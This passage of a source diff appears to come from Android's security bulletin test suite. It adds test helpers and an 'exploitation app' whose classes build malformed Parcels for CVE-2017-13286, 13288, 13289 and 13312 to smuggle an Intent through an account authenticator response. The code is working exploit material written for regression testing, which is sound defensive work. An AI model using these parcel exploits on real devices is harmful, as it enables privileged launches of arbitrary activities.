+            // regex match has taken longer than the timeout
+            // this usually means the input is extremely long or the regex is catastrophic
+            fail("Regex timeout with pattern: '" + pattern + "' for input:\n..." + input + "...");
+        }
+    }
+
+    /*
+     * Helper method to grab the nearby chars for a subsequence. Similar to the -A and -B flags for
+     * grep.
+     */
+    private static String getInputContext(String input, int start, int end, int before, int after) {
+        start = Math.max(0, start - before);
+        end = Math.min(input.length(), end + after);
+        return input.substring(start, end);
+    }
+
+    /*
+     * Wrapper for a given CharSequence. When charAt() is called, the current time is compared
+     * against the timeout. If the current time is greater than the expiration time, an exception is
+     * thrown. The expiration time is (time of object construction) + (timeout in milliseconds).
+     */
+    private static class TimeoutCharSequence implements CharSequence {
+        long expireTime = 0;
+        CharSequence chars = null;
+
+        TimeoutCharSequence(CharSequence chars, long timeout) {
+            this.chars = chars;
+            expireTime = System.currentTimeMillis() + timeout;
+        }
+
+        @Override
+        public char charAt(int index) {
+            if (System.currentTimeMillis() > expireTime) {
+                throw new CharSequenceTimeoutException(
+                        "TimeoutCharSequence was used after the expiration time.");
+            }
+            return chars.charAt(index);
+        }
+
+        @Override
+        public int length() {
+            return chars.length();
+        }
+
+        @Override
+        public CharSequence subSequence(int start, int end) {
+            return new TimeoutCharSequence(chars.subSequence(start, end),
+                    expireTime - System.currentTimeMillis());
+        }
+
+        @Override
+        public String toString() {
+            return chars.toString();
+        }
+
+        private static class CharSequenceTimeoutException extends RuntimeException {
+            public CharSequenceTimeoutException(String message) {
+                super(message);
+            }
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index cacceaa..b1bd053 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -23,15 +23,21 @@
 import com.android.tradefed.log.LogUtil.CLog;
 
 import java.util.regex.Pattern;
-import com.android.ddmlib.MultiLineReceiver;
+import java.util.regex.Matcher;
+import java.util.Map;
+import java.util.HashMap;
 import com.android.ddmlib.Log;
+import java.util.concurrent.Callable;
+import java.math.BigInteger;
 
 public class SecurityTestCase extends DeviceTestCase {
 
     private static final String LOG_TAG = "SecurityTestCase";
+    private static final int RADIX_HEX = 16;
 
     private long kernelStartTime;
-    private static Thread checkOom = null;
+
+    private HostsideOomCatcher oomCatcher = new HostsideOomCatcher(this);
 
     /**
      * Waits for device to be online, marks the most recent boottime of the device
@@ -46,11 +52,7 @@
         //TODO:(badash@): Watch for other things to track.
         //     Specifically time when app framework starts
 
-        // Start Out of Memory detection in separate thread
-        //if (checkOom == null || !checkOom.isAlive()) {
-        //    checkOom = new Thread(new OomChecker());
-        //    checkOom.start();
-        //}
+        oomCatcher.start();
     }
 
     /**
@@ -94,65 +96,114 @@
      */
     @Override
     public void tearDown() throws Exception {
+        oomCatcher.stop(getDevice().getSerialNumber());
+
         getDevice().waitForDeviceAvailable(120 * 1000);
-        String uptime = getDevice().executeShellCommand("cat /proc/uptime");
-        assertTrue("Phone has had a hard reset",
-            (System.currentTimeMillis()/1000 -
-                Integer.parseInt(uptime.substring(0, uptime.indexOf('.')))
-                    - kernelStartTime < 2));
-        //TODO(badash@): add ability to catch runtime restart
-        getDevice().disableAdbRoot();
+
+        if (oomCatcher.isOomDetected()) {
+            // we don't need to check kernel start time if we intentionally rebooted because oom
+            updateKernelStartTime();
+            switch (oomCatcher.getOomBehavior()) {
+                case FAIL_AND_LOG:
+                    fail("The device ran out of memory.");
+                    break;
+                case PASS_AND_LOG:
+                    Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG, "Skipping test.");
+                    break;
+                case FAIL_NO_LOG:
+                    fail();
+                    break;
+            }
+        } else {
+            String uptime = getDevice().executeShellCommand("cat /proc/uptime");
+            assertTrue("Phone has had a hard reset",
+                (System.currentTimeMillis()/1000 -
+                    Integer.parseInt(uptime.substring(0, uptime.indexOf('.')))
+                        - kernelStartTime < 2));
+            //TODO(badash@): add ability to catch runtime restart
+            getDevice().disableAdbRoot();
+        }
     }
 
+    // TODO convert existing assertMatches*() to RegexUtils.assertMatches*()
+    // b/123237827
+    @Deprecated
     public void assertMatches(String pattern, String input) throws Exception {
-        assertTrue("Pattern not found", Pattern.matches(pattern, input));
+        RegexUtils.assertContains(pattern, input);
     }
 
+    @Deprecated
+    public void assertMatchesMultiLine(String pattern, String input) throws Exception {
+        RegexUtils.assertContainsMultiline(pattern, input);
+    }
+
+    @Deprecated
     public void assertNotMatches(String pattern, String input) throws Exception {
-        assertFalse("Pattern found", Pattern.matches(pattern, input));
+        RegexUtils.assertNotContains(pattern, input);
     }
 
+    @Deprecated
     public void assertNotMatchesMultiLine(String pattern, String input) throws Exception {
-       assertFalse("Pattern found",
-                   Pattern.compile(pattern,
-                   Pattern.DOTALL).matcher(input).matches());
+        RegexUtils.assertNotContainsMultiline(pattern, input);
     }
 
-    class OomChecker implements Runnable {
-
-        @Override
-        public void run() {
-            MultiLineReceiver rcvr = new MultiLineReceiver() {
-                private boolean isCancelled = false;
-
-                public void processNewLines(String[] lines) {
-                    for (String line : lines) {
-                        if (Pattern.matches(".*lowmemorykiller.*", line)) {
-                            // low memory detected, reboot device to clear memory and pass test
-                            isCancelled = true;
-                            Log.i(LOG_TAG, "lowmemorykiller detected; rebooting device and passing test");
-                            try {
-                                getDevice().rebootUntilOnline();
-                                updateKernelStartTime();
-                            } catch (Exception e) {
-                                Log.e(LOG_TAG, e.toString());
-                            }
-                            return; // we don't need to process remaining lines in the array
-                        }
-                    }
-                }
-
-                public boolean isCancelled() {
-                    return isCancelled;
-                }
-            };
-
-            try {
-                AdbUtils.runCommandLine("logcat -c", getDevice());
-                getDevice().executeShellCommand("logcat", rcvr);
-            } catch (Exception e) {
-                Log.e(LOG_TAG, e.toString());
+    /**
+     * Runs a provided function that collects a String to test against kernel pointer leaks.
+     * The getPtrFunction function implementation must return a String that starts with the
+     * pointer. i.e. "01234567". Trailing characters are allowed except for [0-9a-fA-F]. In
+     * the event that the pointer appears to be vulnerable, a JUnit assert is thrown. Since kernel
+     * pointers can be hashed, there is a possiblity the the hashed pointer overlaps into the
+     * normal kernel space. The test re-runs to make false positives statistically insignificant.
+     * When kernel pointers won't change without a reboot, provide a device to reboot.
+     *
+     * @param getPtrFunction a function that returns a string that starts with a pointer
+     * @param deviceToReboot device to reboot when kernel pointers won't change
+     */
+    public void assertNotKernelPointer(Callable<String> getPtrFunction, ITestDevice deviceToReboot)
+            throws Exception {
+        String ptr = null;
+        for (int i = 0; i < 4; i++) { // ~0.4% chance of false positive
+            ptr = getPtrFunction.call();
+            if (ptr == null) {
+                return;
+            }
+            if (!isKptr(ptr)) {
+                // quit early because the ptr is likely hashed or zeroed.
+                return;
+            }
+            if (deviceToReboot != null) {
+                deviceToReboot.nonBlockingReboot();
+                deviceToReboot.waitForDeviceAvailable();
             }
         }
+        fail("\"" + ptr + "\" is an exposed kernel pointer.");
+    }
+
+    private boolean isKptr(String ptr) {
+        Matcher m = Pattern.compile("[0-9a-fA-F]*").matcher(ptr);
+        if (!m.find() || m.start() != 0) {
+           // ptr string is malformed
+           return false;
+        }
+        int length = m.end();
+
+        if (length == 8) {
+          // 32-bit pointer
+          BigInteger address = new BigInteger(ptr.substring(0, length), RADIX_HEX);
+          // 32-bit kernel memory range: 0xC0000000 -> 0xffffffff
+          // 0x3fffffff bytes = 1GB /  0xffffffff = 4 GB
+          // 1 in 4 collision for hashed pointers
+          return address.compareTo(new BigInteger("C0000000", RADIX_HEX)) >= 0;
+        } else if (length == 16) {
+          // 64-bit pointer
+          BigInteger address = new BigInteger(ptr.substring(0, length), RADIX_HEX);
+          // 64-bit kernel memory range: 0x8000000000000000 -> 0xffffffffffffffff
+          // 48-bit implementation: 0xffff800000000000; 1 in 131,072 collision
+          // 56-bit implementation: 0xff80000000000000; 1 in 512 collision
+          // 64-bit implementation: 0x8000000000000000; 1 in 2 collision
+          return address.compareTo(new BigInteger("ff80000000000000", RADIX_HEX)) >= 0;
+        }
+
+        return false;
     }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/Android.mk b/hostsidetests/securitybulletin/test-apps/Android.mk
new file mode 100644
index 0000000..f8d63a5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/Android.mk
@@ -0,0 +1,23 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+
+# Build the test APKs using their own makefiles
+include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk b/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk
new file mode 100644
index 0000000..226c360
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk
@@ -0,0 +1,34 @@
+#
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_SDK_VERSION := current
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsHostLaunchAnyWhereApp
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/launchanywhere/AndroidManifest.xml
new file mode 100644
index 0000000..1553c92
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/AndroidManifest.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.security.cts.launchanywhere"
+    android:versionCode="1"
+    android:versionName="1.0">
+
+    <application android:label="LaunchAnyWhere Exploitation App">
+        <activity android:name=".StartExploit">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <service android:name=".AuthenticatorService"
+            android:enabled="true"
+            android:exported="true">
+
+            <intent-filter>
+                <action android:name="android.accounts.AccountAuthenticator" />
+            </intent-filter>
+
+            <meta-data
+                android:name="android.accounts.AccountAuthenticator"
+                android:resource="@xml/launchanywhere_authenticator" />
+        </service>
+
+    </application>
+</manifest>
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/res/xml/launchanywhere_authenticator.xml b/hostsidetests/securitybulletin/test-apps/launchanywhere/res/xml/launchanywhere_authenticator.xml
new file mode 100644
index 0000000..bd8643f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/res/xml/launchanywhere_authenticator.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<account-authenticator
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:accountType="com.launchanywhere"
+    />
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/Authenticator.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/Authenticator.java
new file mode 100644
index 0000000..536d9da
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/Authenticator.java
@@ -0,0 +1,180 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.security.cts.launchanywhere;
+
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.IInterface;
+import android.os.Parcel;
+import android.os.RemoteException;
+
+import java.io.FileDescriptor;
+import java.lang.reflect.Field;
+
+public class Authenticator extends AbstractAccountAuthenticator {
+    static public IGenerateMalformedParcel exploit;
+
+    private int TRANSACTION_onResult;
+    private IBinder mOriginRemote;
+    private IBinder mProxyRemote = new IBinder() {
+        @Override
+        public String getInterfaceDescriptor() throws RemoteException {
+            return null;
+        }
+
+        @Override
+        public boolean pingBinder() {
+            return false;
+        }
+
+        @Override
+        public boolean isBinderAlive() {
+            return false;
+        }
+
+        @Override
+        public IInterface queryLocalInterface(String descriptor) {
+            return null;
+        }
+
+        @Override
+        public void dump(FileDescriptor fd, String[] args) throws RemoteException {}
+
+        @Override
+        public void dumpAsync(FileDescriptor fd, String[] args)
+        throws RemoteException {}
+
+        @Override
+        public boolean transact(int code, Parcel data, Parcel reply, int flags)
+        throws RemoteException {
+        if (code == TRANSACTION_onResult) {
+            data.recycle();
+            Intent payload = new Intent();
+            payload.setAction(Intent.ACTION_REBOOT);
+            data = exploit.generate(payload);
+        }
+
+        mOriginRemote.transact(code, data, reply, flags);
+        return true;
+        }
+
+        @Override
+        public void linkToDeath(DeathRecipient recipient, int flags)
+        throws RemoteException {}
+
+        @Override
+        public boolean unlinkToDeath(DeathRecipient recipient, int flags) {
+            return false;
+        }
+    };
+
+    public Authenticator(Context context) {
+        super(context);
+    }
+
+    @Override
+    public String getAuthTokenLabel(String authTokenType) {
+        return null;
+    }
+
+    @Override
+    public Bundle editProperties(AccountAuthenticatorResponse response,
+            String accountType) {
+        return null;
+    }
+
+    @Override
+    public Bundle getAuthToken(AccountAuthenticatorResponse response,
+            Account account, String authTokenType, Bundle options) {
+        return null;
+    }
+
+    @Override
+    public Bundle addAccount(AccountAuthenticatorResponse response,
+            String accountType, String authTokenType, String[] requiredFeatures,
+            Bundle options) {
+        try {
+            Field mAccountAuthenticatorResponseField =
+                Class.forName("android.accounts.AccountAuthenticatorResponse")
+                .getDeclaredField("mAccountAuthenticatorResponse");
+
+            mAccountAuthenticatorResponseField.setAccessible(true);
+
+            Object mAccountAuthenticatorResponse =
+                mAccountAuthenticatorResponseField.get(response);
+
+            Class stubClass = null;
+            String responseName = "android.accounts.IAccountAuthenticatorResponse";
+            Class<?>[] classes = Class.forName(responseName).getDeclaredClasses();
+
+            String stubName = responseName + ".Stub";
+            for (Class inner : classes) {
+                if (inner.getCanonicalName().equals(stubName)) {
+                    stubClass = inner;
+                    break;
+                }
+            }
+
+            Field TRANSACTION_onResultField =
+                stubClass.getDeclaredField("TRANSACTION_onResult");
+            TRANSACTION_onResultField.setAccessible(true);
+            TRANSACTION_onResult = TRANSACTION_onResultField.getInt(null);
+
+            Class proxyClass = null;
+            String proxyName = stubName + ".Proxy";
+            for (Class inner : stubClass.getDeclaredClasses()) {
+                if (inner.getCanonicalName().equals(proxyName)) {
+                    proxyClass = inner;
+                    break;
+                }
+            }
+
+            Field mRemoteField = proxyClass.getDeclaredField("mRemote");
+            mRemoteField.setAccessible(true);
+            mOriginRemote = (IBinder) mRemoteField.get(mAccountAuthenticatorResponse);
+            mRemoteField.set(mAccountAuthenticatorResponse, mProxyRemote);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+
+        return new Bundle();
+    }
+
+    @Override
+    public Bundle confirmCredentials(
+            AccountAuthenticatorResponse response, Account account, Bundle options) {
+        return null;
+            }
+
+    @Override
+    public Bundle updateCredentials(AccountAuthenticatorResponse response,
+            Account account, String authTokenType, Bundle options) {
+        return null;
+    }
+
+    @Override
+    public Bundle hasFeatures(
+            AccountAuthenticatorResponse response, Account account, String[] features)
+    {
+        return null;
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/AuthenticatorService.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/AuthenticatorService.java
new file mode 100644
index 0000000..58d75b8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/AuthenticatorService.java
@@ -0,0 +1,30 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.security.cts.launchanywhere;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+public class AuthenticatorService extends Service {
+    protected static final String TAG = StartExploit.TAG;
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return new Authenticator(this).getIBinder();
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13286.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13286.java
new file mode 100644
index 0000000..752b06d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13286.java
@@ -0,0 +1,78 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.launchanywhere;
+
+import com.android.security.cts.launchanywhere.IGenerateMalformedParcel;
+import android.accounts.AccountManager;
+import android.content.Intent;
+import android.os.Parcel;
+
+public class CVE_2017_13286 implements IGenerateMalformedParcel {
+    @Override
+    public Parcel generate(Intent intent) {
+        Parcel data = Parcel.obtain();
+        data.writeInterfaceToken("android.accounts." +
+                "IAccountAuthenticatorResponse");
+        data.writeInt(1);
+        int bundleLenPos = data.dataPosition();
+        data.writeInt(0xffffffff);
+        data.writeInt(0x4C444E42);
+        int bundleStartPos = data.dataPosition();
+        data.writeInt(3);
+
+        data.writeString("launchanywhere");
+        data.writeInt(4);
+        data.writeString("android.hardware.camera2.params.OutputConfiguration");
+        data.writeInt(0);
+        data.writeInt(1);
+        data.writeInt(2);
+        data.writeInt(3);
+        data.writeInt(4);
+        data.writeInt(5);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(13);
+
+        int byteArrayLenPos = data.dataPosition();
+        data.writeInt(0xffffffff);
+        int byteArrayStartPos = data.dataPosition();
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeString(AccountManager.KEY_INTENT);
+        data.writeInt(4);
+        data.writeString("android.content.Intent");
+        intent.writeToParcel(data, 0);
+        int byteArrayEndPos = data.dataPosition();
+        data.setDataPosition(byteArrayLenPos);
+        int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+        data.writeInt(byteArrayLen);
+        data.setDataPosition(byteArrayEndPos);
+
+        int bundleEndPos = data.dataPosition();
+        data.setDataPosition(bundleLenPos);
+        int bundleLen = bundleEndPos - bundleStartPos;
+        data.writeInt(bundleLen);
+        data.setDataPosition(bundleEndPos);
+
+        return data;
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13288.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13288.java
new file mode 100644
index 0000000..a503513
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13288.java
@@ -0,0 +1,66 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.security.cts.launchanywhere;
+
+import android.accounts.AccountManager;
+import android.content.Intent;
+import android.os.Parcel;
+
+public class CVE_2017_13288 implements IGenerateMalformedParcel {
+    @Override
+    public Parcel generate(Intent intent) {
+        Parcel data = Parcel.obtain();
+        data.writeInterfaceToken("android.accounts." +
+                "IAccountAuthenticatorResponse");
+        data.writeInt(1);
+        int bundleLenPos = data.dataPosition();
+        data.writeInt(0xffffffff);
+        data.writeInt(0x4C444E42);
+        int bundleStartPos = data.dataPosition();
+        data.writeInt(2);
+
+        data.writeString("launchanywhere");
+        data.writeInt(4);
+        data.writeString("android.bluetooth.le.PeriodicAdvertisingReport");
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(1);
+        data.writeInt(1);
+
+        int byteArrayLenPos = data.dataPosition();
+        data.writeInt(0xffffffff);
+        int byteArrayStartPos = data.dataPosition();
+        data.writeString(AccountManager.KEY_INTENT);
+        data.writeInt(4);
+        data.writeString("android.content.Intent");
+        intent.writeToParcel(data, 0);
+        int byteArrayEndPos = data.dataPosition();
+        data.setDataPosition(byteArrayLenPos);
+        int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+        data.writeInt(byteArrayLen);
+        data.setDataPosition(byteArrayEndPos);
+
+        int bundleEndPos = data.dataPosition();
+        data.setDataPosition(bundleLenPos);
+        int bundleLen = bundleEndPos - bundleStartPos;
+        data.writeInt(bundleLen);
+        data.setDataPosition(bundleEndPos);
+
+        return data;
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13289.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13289.java
new file mode 100644
index 0000000..716dda6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13289.java
@@ -0,0 +1,92 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.security.cts.launchanywhere;
+
+import android.accounts.AccountManager;
+import android.content.Intent;
+import android.os.Parcel;
+
+public class CVE_2017_13289 implements IGenerateMalformedParcel {
+    public Parcel generate(Intent intent) {
+        Parcel data = Parcel.obtain();
+        String responseName = "android.accounts.IAccountAuthenticatorResponse";
+        data.writeInterfaceToken(responseName);
+        data.writeInt(1);
+        int bundleLenPos = data.dataPosition();
+        data.writeInt(0xffffffff);
+        data.writeInt(0x4C444E42);
+        int bundleStartPos = data.dataPosition();
+        data.writeInt(2);
+
+        data.writeString("launchanywhere");
+        data.writeInt(4);
+        data.writeString("android.net.wifi.RttManager$ParcelableRttResults");
+        data.writeInt(1);
+        data.writeString(null);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeLong(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeLong(0);
+        data.writeLong(0);
+        data.writeLong(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0xff);
+        data.writeInt(12);
+        data.writeInt(12);
+        data.writeInt(12);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+
+        data.writeInt(0);
+
+        data.writeString(null);
+        data.writeInt(13);
+        int byteArrayLenPos = data.dataPosition();
+        data.writeInt(0xffffffff);
+        int byteArrayStartPos = data.dataPosition();
+        data.writeString(AccountManager.KEY_INTENT);
+        data.writeInt(4);
+        data.writeString("android.content.Intent");
+        intent.writeToParcel(data, 0);
+        int byteArrayEndPos = data.dataPosition();
+        data.setDataPosition(byteArrayLenPos);
+        int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+        data.writeInt(byteArrayLen);
+        data.setDataPosition(byteArrayEndPos);
+
+        int bundleEndPos = data.dataPosition();
+        data.setDataPosition(bundleLenPos);
+        int bundleLen = bundleEndPos - bundleStartPos;
+        data.writeInt(bundleLen);
+        data.setDataPosition(bundleEndPos);
+
+        return data;
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13312.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13312.java
new file mode 100644
index 0000000..4678de2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13312.java
@@ -0,0 +1,76 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.security.cts.launchanywhere;
+
+import android.accounts.AccountManager;
+import android.content.Intent;
+import android.os.Parcel;
+
+public class CVE_2017_13312 implements IGenerateMalformedParcel {
+    public Parcel generate(Intent intent) {
+        Parcel data = Parcel.obtain();
+        data.writeInterfaceToken("android.accounts.IAccountAuthenticatorResponse");
+        data.writeInt(1);
+        int bundleLenPos = data.dataPosition();
+        data.writeInt(0xffffffff);
+        data.writeInt(0x4C444E42);
+        int bundleStartPos = data.dataPosition();
+        data.writeInt(3);
+
+        try {
+            Class clazz = Class.forName("android.media.MediaCas$ParcelableCasData");
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+
+        data.writeString("xjoa8h2");
+        data.writeInt(4);
+        data.writeString("android.media.MediaCas$ParcelableCasData");
+
+        data.writeInt(13);
+        data.writeInt(32);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+
+        data.writeInt(13);
+        int byteArrayLenPos = data.dataPosition();
+        data.writeInt(0xffffffff);
+        int byteArrayStartPos = data.dataPosition();
+        data.writeString(AccountManager.KEY_INTENT);
+        data.writeInt(4);
+        data.writeString("android.content.Intent");
+        intent.writeToParcel(data, 0);
